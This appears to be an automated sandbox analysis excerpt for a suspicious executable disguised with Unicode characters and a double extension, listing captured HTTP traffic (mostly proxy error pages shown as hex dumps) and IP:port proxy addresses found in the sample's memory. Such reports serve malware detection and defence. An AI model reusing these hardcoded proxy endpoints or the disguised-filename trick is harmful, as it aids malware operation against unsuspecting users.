type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003904834724"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:27 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:27 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:42:27 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:42:28 GMTContent-Length: 127Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 34 38 31 35 31 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 1.1.1.1:53: read udp 10.64.238.216:48151->1.1.1.1:53: i/o timeout
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:29 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:31 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:35 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:35 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundatio
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:53 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:43:03 GMTContent-Type: text/html;charset=utf-8Content-Length: 3896X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.14Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:43:14 GMTContent-Type: text/html;charset=utf-8Content-Length: 3946X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0

Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.171.213:8080
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.171.213:8080://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.205.87:8080
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.205.87:8080://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.15.62.12:5678
